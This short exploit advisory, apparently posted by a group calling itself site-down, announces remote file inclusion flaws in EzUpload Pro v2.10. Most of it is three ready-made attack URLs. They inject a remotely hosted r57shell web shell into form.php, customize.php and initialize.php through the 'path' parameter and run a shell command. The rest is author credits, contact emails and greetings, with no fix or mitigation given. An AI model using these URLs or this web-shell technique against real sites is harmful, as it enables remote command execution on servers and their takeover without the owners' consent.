multiple file include exploits in EzUpload Pro v2.10

forum type : EzUpload Pro v2.10

bug found by : black-code & sweet-devil

team : site-down

type : file include

####################################################

exploits :

form.php

http://www.example.com/path/form.php?path=http://rst.void.ru/download/r5
7shell.txt?&cmd=pwd

customize.php

http://www.example.com/arab3upload/customize.php?path=http://rst.void.ru
/download/r57shell.txt?&cmd=pwd

initialize.php

http://www.example.com/arab3upload/initialize.php?path=http://rst.void.r
u/download/r57shell.txt?&cmd=pwd

####################################################

path to admin login:

#######################

emails:

black-cod3 (at) hotmail (dot) com [email concealed]  &  gamr-14 (at) hotmail (dot) com [email concealed]

#######################

All my respect to our friends , lezr.com , g123g.net

done .. peace